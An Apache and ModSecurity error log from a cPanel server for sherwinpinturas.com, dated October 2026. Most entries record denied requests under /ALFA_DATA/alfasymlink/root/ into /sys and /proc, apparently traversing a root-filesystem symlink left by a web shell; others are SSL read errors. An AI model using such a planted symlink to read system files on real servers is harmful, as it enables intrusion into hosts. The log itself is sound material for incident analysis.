[Sun Oct 25 16:38:12.486774 2026] [security2:error] [pid 2897544:tid 2897544] [client 64.20.54.226:54320] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "busca1.sherwinpinturas.com"] [uri "/.well-known/acme-challenge/-YGG8RGIA6L4B01N080EFO9AJF7MIBFW"] [unique_id "at5otOD_fvb0tl7aQGrEbwAAAAo"]
[Sun Oct 25 16:38:14.223199 2026] [ssl:error] [pid 2897543:tid 2897543] (70014)End of file found: [client 18.214.251.19:65192] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:38:15.765540 2026] [security2:error] [pid 2891189:tid 2891189] [client 107.172.76.131:64532] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "hosp1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at5oqz03oOY3EiI_RmqnRQAAAAA"], referer: https://hosp1.sherwinpinturas.com/beta.php
[Sun Oct 25 16:38:15.765593 2026] [security2:error] [pid 2891189:tid 2891189] [client 107.172.76.131:64532] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "hosp1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at5oqz03oOY3EiI_RmqnRQAAAAA"], referer: https://hosp1.sherwinpinturas.com/beta.php
[Sun Oct 25 16:38:21.792521 2026] [core:error] [pid 2898005:tid 2898005] (13)Permission denied: [client 24.146.237.16:41593] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio_integrity_payload/objects
[Sun Oct 25 16:38:22.227120 2026] [ssl:error] [pid 2887586:tid 2887586] (70014)End of file found: [client 100.29.164.178:32592] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:38:26.565726 2026] [core:error] [pid 2897544:tid 2897544] (13)Permission denied: [client 81.106.243.65:47378] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio_integrity_payload/objects
[Sun Oct 25 16:38:30.217649 2026] [ssl:error] [pid 2897543:tid 2897543] (70014)End of file found: [client 184.73.47.24:62870] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:38:34.309277 2026] [ssl:error] [pid 2892941:tid 2892941] (5)Input/output error: [client 18.211.148.239:65449] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:38:35.183131 2026] [core:error] [pid 2887586:tid 2887586] (13)Permission denied: [client 185.191.171.18:31862] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/biovec-128/free_calls
[Sun Oct 25 16:38:42.233254 2026] [core:error] [pid 2897544:tid 2897544] (13)Permission denied: [client 44.210.204.255:37555] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory17/node0/memory1/node0/compact
[Sun Oct 25 16:38:46.226239 2026] [ssl:error] [pid 2897986:tid 2897986] (70014)End of file found: [client 54.225.181.161:52276] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:38:54.422818 2026] [ssl:error] [pid 2897994:tid 2897994] (70014)End of file found: [client 23.23.103.31:9821] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:38:55.812806 2026] [core:error] [pid 2887586:tid 2887586] (13)Permission denied: [client 70.32.194.47:1609] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/jbd2_revoke_record_s/slabs_cpu_partial
[Sun Oct 25 16:39:00.299713 2026] [core:error] [pid 2897544:tid 2897544] (13)Permission denied: [client 186.96.217.180:56236] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/jbd2_revoke_record_s/slabs_cpu_partial
[Sun Oct 25 16:39:02.358203 2026] [ssl:error] [pid 2892941:tid 2892941] (5)Input/output error: [client 52.204.89.12:43333] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:39:02.864400 2026] [core:error] [pid 2897649:tid 2897649] (13)Permission denied: [client 38.248.184.184:17611] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/jbd2_revoke_record_s/slabs_cpu_partial
[Sun Oct 25 16:39:10.290696 2026] [core:error] [pid 2887586:tid 2887586] (13)Permission denied: [client 99.64.92.140:47011] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/task_delay_info/objects
[Sun Oct 25 16:39:12.525141 2026] [core:error] [pid 2897544:tid 2897544] (13)Permission denied: [client 93.157.189.193:28555] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/task_delay_info/objects
[Sun Oct 25 16:39:14.959622 2026] [core:error] [pid 2892941:tid 2892941] (13)Permission denied: [client 186.219.141.228:64607] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/task_delay_info/objects
[Sun Oct 25 16:39:16.664755 2026] [ssl:error] [pid 2898013:tid 2898013] (70014)End of file found: [client 85.208.96.210:27034] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:39:22.238984 2026] [ssl:error] [pid 2897544:tid 2897544] (70014)End of file found: [client 54.87.95.7:17516] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:39:22.706809 2026] [core:error] [pid 2887586:tid 2887586] (13)Permission denied: [client 207.204.103.44:59766] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/anon_vma_chain/alloc_calls
[Sun Oct 25 16:39:26.345390 2026] [core:error] [pid 2897649:tid 2897649] (13)Permission denied: [client 100.34.133.197:54913] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/pid_namespace/objs_per_slab
[Sun Oct 25 16:39:26.366135 2026] [ssl:error] [pid 2898013:tid 2898013] (70014)End of file found: [client 52.205.222.214:40663] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:39:27.989066 2026] [core:error] [pid 2892941:tid 2892941] (13)Permission denied: [client 77.23.177.185:46854] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/pid_namespace/objs_per_slab
[Sun Oct 25 16:39:32.826726 2026] [core:error] [pid 2887586:tid 2887586] (13)Permission denied: [client 38.51.121.87:46354] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/pid_namespace/objs_per_slab
[Sun Oct 25 16:39:34.226778 2026] [core:error] [pid 2897649:tid 2897649] (13)Permission denied: [client 185.191.171.7:38898] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/radix_tree_node/trace
[Sun Oct 25 16:39:34.245238 2026] [ssl:error] [pid 2897544:tid 2897544] (70014)End of file found: [client 100.29.63.24:33927] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:39:38.420596 2026] [ssl:error] [pid 2898267:tid 2898267] (70014)End of file found: [client 52.70.209.13:10305] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:39:47.335003 2026] [security2:error] [pid 2897544:tid 2897544] [client 107.15.117.234:44934] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/doc/gdk-pixbuf2/NEWS"] [unique_id "at5pE-D_fvb0tl7aQGrEewAAAAo"]
[Sun Oct 25 16:39:47.335042 2026] [security2:error] [pid 2897544:tid 2897544] [client 107.15.117.234:44934] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/doc/gdk-pixbuf2/NEWS"] [unique_id "at5pE-D_fvb0tl7aQGrEewAAAAo"]
[Sun Oct 25 16:39:53.938832 2026] [core:error] [pid 2898005:tid 2898005] (13)Permission denied: [client 46.43.110.254:44856] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/avc_xperms_decision_node/slab_size
[Sun Oct 25 16:39:54.469317 2026] [ssl:error] [pid 2898267:tid 2898267] (70014)End of file found: [client 52.54.249.218:17491] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:39:57.491065 2026] [core:error] [pid 2887586:tid 2887586] (13)Permission denied: [client 177.222.63.224:65104] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/avc_xperms_decision_node/slab_size
[Sun Oct 25 16:39:58.399975 2026] [core:error] [pid 2898013:tid 2898013] (13)Permission denied: [client 80.3.31.55:45645] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dnotify_struct/validate
[Sun Oct 25 16:39:59.684220 2026] [core:error] [pid 2897544:tid 2897544] (13)Permission denied: [client 174.167.159.169:50683] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dnotify_struct/validate
[Sun Oct 25 16:40:00.191562 2026] [core:error] [pid 2898005:tid 2898005] (13)Permission denied: [client 80.7.8.239:59721] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/avc_xperms_decision_node/slab_size
[Sun Oct 25 16:40:02.194207 2026] [core:error] [pid 2897649:tid 2897649] (13)Permission denied: [client 200.86.250.196:36303] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/jbd2_journal_head/remote_node_defrag_ratio
[Sun Oct 25 16:40:02.264726 2026] [core:error] [pid 2887586:tid 2887586] (13)Permission denied: [client 44.221.180.179:38027] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:18/subsystem/devices/device:05/physical_node/subsystem/drivers/virtio-pci/0000:00:03.0/resource1
[Sun Oct 25 16:40:05.069595 2026] [core:error] [pid 2897654:tid 2897654] (13)Permission denied: [client 177.75.59.204:18477] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/jbd2_journal_head/remote_node_defrag_ratio
[Sun Oct 25 16:40:05.694623 2026] [core:error] [pid 2898013:tid 2898013] (13)Permission denied: [client 186.222.246.250:34716] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/nf_conntrack/sanity_checks
[Sun Oct 25 16:40:10.469331 2026] [core:error] [pid 2897649:tid 2897649] (13)Permission denied: [client 38.250.157.69:25131] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/jbd2_journal_head/remote_node_defrag_ratio
[Sun Oct 25 16:40:13.824577 2026] [ssl:error] [pid 2893743:tid 2893743] (70014)End of file found: [client 85.208.96.208:64270] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:40:14.247498 2026] [ssl:error] [pid 2897654:tid 2897654] (70014)End of file found: [client 34.196.114.170:48366] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:40:15.069932 2026] [ssl:error] [pid 2887586:tid 2887586] (70014)End of file found: [client 85.208.96.203:23490] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:40:22.445950 2026] [ssl:error] [pid 2897544:tid 2897544] (70014)End of file found: [client 44.223.193.255:15887] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:40:26.911359 2026] [core:error] [pid 2897649:tid 2897649] (13)Permission denied: [client 9.170.117.142:5582] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/userfaultfd_ctx_cache/object_size
[Sun Oct 25 16:40:28.480439 2026] [core:error] [pid 2897654:tid 2897654] (13)Permission denied: [client 69.132.105.126:60903] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/userfaultfd_ctx_cache/object_size
[Sun Oct 25 16:40:30.759939 2026] [core:error] [pid 2897998:tid 2897998] (13)Permission denied: [client 52.4.213.199:6598] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/input/input3/subsystem/input4/event2/subsystem/input1/device/driver/unbind
[Sun Oct 25 16:40:31.196980 2026] [core:error] [pid 2898015:tid 2898015] (13)Permission denied: [client 197.245.42.218:59447] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/userfaultfd_ctx_cache/object_size
[Sun Oct 25 16:40:38.439292 2026] [core:error] [pid 2897654:tid 2897654] (13)Permission denied: [client 54.210.152.179:27554] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/sys/devices/virtual/input/mice/subsystem/input3/device/subsystem/drivers/atkbd/bind
[Sun Oct 25 16:40:42.423957 2026] [ssl:error] [pid 2897949:tid 2897949] (70014)End of file found: [client 50.19.79.213:51954] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:40:50.304762 2026] [ssl:error] [pid 2897955:tid 2897955] (70014)End of file found: [client 52.21.62.139:1948] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:40:53.379819 2026] [core:error] [pid 2897967:tid 2897967] (13)Permission denied: [client 185.93.74.8:59606] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/Acpi-Operand/sanity_checks
[Sun Oct 25 16:40:55.401386 2026] [core:error] [pid 2897983:tid 2897983] (13)Permission denied: [client 90.200.65.74:45112] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/Acpi-Operand/sanity_checks
[Sun Oct 25 16:40:56.258752 2026] [core:error] [pid 2897985:tid 2897985] (13)Permission denied: [client 45.186.208.69:37538] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/jbd2_journal_head/reclaim_account
[Sun Oct 25 16:40:57.099276 2026] [security2:error] [pid 2897992:tid 2897992] [client 185.191.171.2:20404] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/scripts/update_spamassassin_config"] [unique_id "at5pWc2rifkvzXqwATpzEwAAADo"]
[Sun Oct 25 16:40:57.099317 2026] [security2:error] [pid 2897992:tid 2897992] [client 185.191.171.2:20404] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/scripts/update_spamassassin_config"] [unique_id "at5pWc2rifkvzXqwATpzEwAAADo"]
[Sun Oct 25 16:40:58.109063 2026] [core:error] [pid 2897995:tid 2897995] (13)Permission denied: [client 149.13.193.36:55019] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/Acpi-Operand/sanity_checks
[Sun Oct 25 16:40:58.364254 2026] [core:error] [pid 2897990:tid 2897990] (13)Permission denied: [client 38.61.242.109:41968] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/jbd2_journal_head/reclaim_account
[Sun Oct 25 16:41:00.495561 2026] [core:error] [pid 2897949:tid 2897949] (13)Permission denied: [client 91.218.99.217:44682] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/jbd2_journal_head/reclaim_account
[Sun Oct 25 16:41:02.301758 2026] [ssl:error] [pid 2897953:tid 2897953] (70014)End of file found: [client 98.84.70.201:38620] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:41:06.361008 2026] [ssl:error] [pid 2897967:tid 2897967] (5)Input/output error: [client 54.84.169.196:54856] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:41:14.414197 2026] [ssl:error] [pid 2897986:tid 2897986] (70014)End of file found: [client 107.20.25.33:7647] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:41:16.492403 2026] [core:error] [pid 2898005:tid 2898005] (13)Permission denied: [client 85.208.96.201:41818] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ip4-frags/shrink
[Sun Oct 25 16:41:29.832325 2026] [core:error] [pid 2897990:tid 2897990] (13)Permission denied: [client 185.191.171.2:51548] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-2k/order
[Sun Oct 25 16:41:33.736169 2026] [core:error] [pid 2898005:tid 2898005] (13)Permission denied: [client 37.202.72.13:29762] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/task_delay_info/remote_node_defrag_ratio
[Sun Oct 25 16:41:36.917809 2026] [core:error] [pid 2897986:tid 2897986] (13)Permission denied: [client 84.121.50.57:36144] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/task_delay_info/remote_node_defrag_ratio
[Sun Oct 25 16:41:38.404779 2026] [ssl:error] [pid 2898267:tid 2898267] (70014)End of file found: [client 18.235.158.19:62001] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:41:38.772927 2026] [core:error] [pid 2897472:tid 2897472] (13)Permission denied: [client 86.162.66.17:34723] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/task_delay_info/remote_node_defrag_ratio
[Sun Oct 25 16:41:39.576406 2026] [core:error] [pid 2897953:tid 2897953] (13)Permission denied: [client 190.236.6.100:12035] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/Acpi-Operand/hwcache_align
[Sun Oct 25 16:41:41.212079 2026] [core:error] [pid 2897949:tid 2897949] (13)Permission denied: [client 67.81.53.63:41981] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/Acpi-Operand/hwcache_align
[Sun Oct 25 16:41:45.557850 2026] [security2:error] [pid 2897967:tid 2897967] [client 144.76.19.24:35044] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/7/sched"] [unique_id "at5piRVtY6H0wJd2uaIKPAAAADA"]
[Sun Oct 25 16:41:45.557897 2026] [security2:error] [pid 2897967:tid 2897967] [client 144.76.19.24:35044] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/7/sched"] [unique_id "at5piRVtY6H0wJd2uaIKPAAAADA"]
[Sun Oct 25 16:42:02.319924 2026] [ssl:error] [pid 2897986:tid 2897986] (70014)End of file found: [client 34.205.163.103:26224] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:42:05.035252 2026] [security2:error] [pid 2891189:tid 2891189] [client 107.172.76.131:64532] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "hosp1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at5pkD03oOY3EiI_RmqnVgAAAAA"], referer: https://hosp1.sherwinpinturas.com/beta.php
[Sun Oct 25 16:42:05.035306 2026] [security2:error] [pid 2891189:tid 2891189] [client 107.172.76.131:64532] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "hosp1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at5pkD03oOY3EiI_RmqnVgAAAAA"], referer: https://hosp1.sherwinpinturas.com/beta.php
[Sun Oct 25 16:42:07.882239 2026] [core:error] [pid 2898005:tid 2898005] (13)Permission denied: [client 185.191.171.14:55398] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-128/min_partial
[Sun Oct 25 16:42:10.926922 2026] [core:error] [pid 2897962:tid 2897962] (13)Permission denied: [client 72.252.32.49:39840] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/fsnotify_mark_connector/remote_node_defrag_ratio
[Sun Oct 25 16:42:11.894552 2026] [core:error] [pid 2897472:tid 2897472] (13)Permission denied: [client 5.155.64.220:25390] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio-280/slabs_cpu_partial
[Sun Oct 25 16:42:13.725159 2026] [core:error] [pid 2897949:tid 2897949] (13)Permission denied: [client 178.238.10.4:54030] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio-280/slabs_cpu_partial
[Sun Oct 25 16:42:15.410987 2026] [core:error] [pid 2897956:tid 2897956] (13)Permission denied: [client 196.207.235.57:7592] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/fsnotify_mark_connector/remote_node_defrag_ratio
[Sun Oct 25 16:42:16.436685 2026] [core:error] [pid 2897985:tid 2897985] (13)Permission denied: [client 181.78.95.118:52764] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio-280/slabs_cpu_partial
[Sun Oct 25 16:42:21.242088 2026] [core:error] [pid 2897654:tid 2897654] (13)Permission denied: [client 84.69.138.230:46121] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/fsnotify_mark_connector/remote_node_defrag_ratio
[Sun Oct 25 16:42:38.436100 2026] [core:error] [pid 2897956:tid 2897956] (13)Permission denied: [client 34.192.67.98:63838] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/input/event3/device/subsystem/input0/device/driver/unbind
[Sun Oct 25 16:42:42.723657 2026] [ssl:error] [pid 2897949:tid 2897949] (70014)End of file found: [client 35.170.205.140:34727] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:42:46.488208 2026] [ssl:error] [pid 2897986:tid 2897986] (70014)End of file found: [client 18.211.39.188:48709] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:42:54.343532 2026] [ssl:error] [pid 2897985:tid 2897985] (70014)End of file found: [client 98.83.94.113:23564] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:42:54.573321 2026] [ssl:error] [pid 2898005:tid 2898005] (70014)End of file found: [client 185.191.171.15:41582] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:42:59.251575 2026] [core:error] [pid 2897956:tid 2897956] (13)Permission denied: [client 81.215.235.12:13280] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/avc_xperms_decision_node/destroy_by_rcu
[Sun Oct 25 16:43:01.552402 2026] [core:error] [pid 2897654:tid 2897654] (13)Permission denied: [client 86.108.17.155:10142] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/avc_xperms_decision_node/destroy_by_rcu
[Sun Oct 25 16:43:03.420319 2026] [core:error] [pid 2898005:tid 2898005] (13)Permission denied: [client 209.173.195.46:56442] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/avc_xperms_decision_node/destroy_by_rcu
[Sun Oct 25 16:43:15.249241 2026] [ssl:error] [pid 2898005:tid 2898005] (70014)End of file found: [client 3.225.45.252:19610] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:43:18.710276 2026] [core:error] [pid 2898267:tid 2898267] (13)Permission denied: [client 75.66.19.56:35008] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/hugetlbfs_inode_cache/object_size
[Sun Oct 25 16:43:18.711025 2026] [security2:error] [pid 2898267:tid 2898267] [client 75.66.19.56:35008] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/kernel/slab/hugetlbfs_inode_cache/object_size"] [unique_id "at5p5oLIYU_dHwKY8MQn2AAAAAI"]
[Sun Oct 25 16:43:18.711054 2026] [security2:error] [pid 2898267:tid 2898267] [client 75.66.19.56:35008] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/kernel/slab/hugetlbfs_inode_cache/object_size"] [unique_id "at5p5oLIYU_dHwKY8MQn2AAAAAI"]
[Sun Oct 25 16:43:26.390504 2026] [ssl:error] [pid 2898005:tid 2898005] (70014)End of file found: [client 44.194.134.53:59011] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:43:28.186612 2026] [core:error] [pid 2897985:tid 2897985] (13)Permission denied: [client 97.140.169.231:43635] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/hugetlbfs_inode_cache/object_size
[Sun Oct 25 16:43:32.835582 2026] [core:error] [pid 2898267:tid 2898267] (13)Permission denied: [client 71.30.89.180:47689] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/userfaultfd_ctx_cache/total_objects
[Sun Oct 25 16:43:35.512853 2026] [core:error] [pid 2897967:tid 2897967] (13)Permission denied: [client 150.228.105.46:3669] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/userfaultfd_ctx_cache/total_objects
[Sun Oct 25 16:43:38.560555 2026] [ssl:error] [pid 2898267:tid 2898267] (70014)End of file found: [client 54.221.203.24:60925] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:43:39.392875 2026] [core:error] [pid 2897956:tid 2897956] (13)Permission denied: [client 102.129.82.187:40078] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/userfaultfd_ctx_cache/total_objects
[Sun Oct 25 16:43:46.524797 2026] [ssl:error] [pid 2898267:tid 2898267] (70014)End of file found: [client 3.232.39.98:26076] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:43:50.665085 2026] [ssl:error] [pid 2897995:tid 2897995] (70014)End of file found: [client 35.174.141.243:21554] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:43:51.267361 2026] [core:error] [pid 2897986:tid 2897986] (13)Permission denied: [client 177.0.190.65:43948] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/userfaultfd_ctx_cache/destroy_by_rcu
[Sun Oct 25 16:43:52.888941 2026] [core:error] [pid 2898005:tid 2898005] (13)Permission denied: [client 24.229.215.189:60407] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/userfaultfd_ctx_cache/destroy_by_rcu
[Sun Oct 25 16:43:54.406315 2026] [core:error] [pid 2897949:tid 2897949] (13)Permission denied: [client 23.16.143.128:55719] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/userfaultfd_ctx_cache/destroy_by_rcu
[Sun Oct 25 16:43:54.452938 2026] [ssl:error] [pid 2897995:tid 2897995] (70014)End of file found: [client 18.213.70.100:19924] AH02013: coalesce failed to read from data bucket
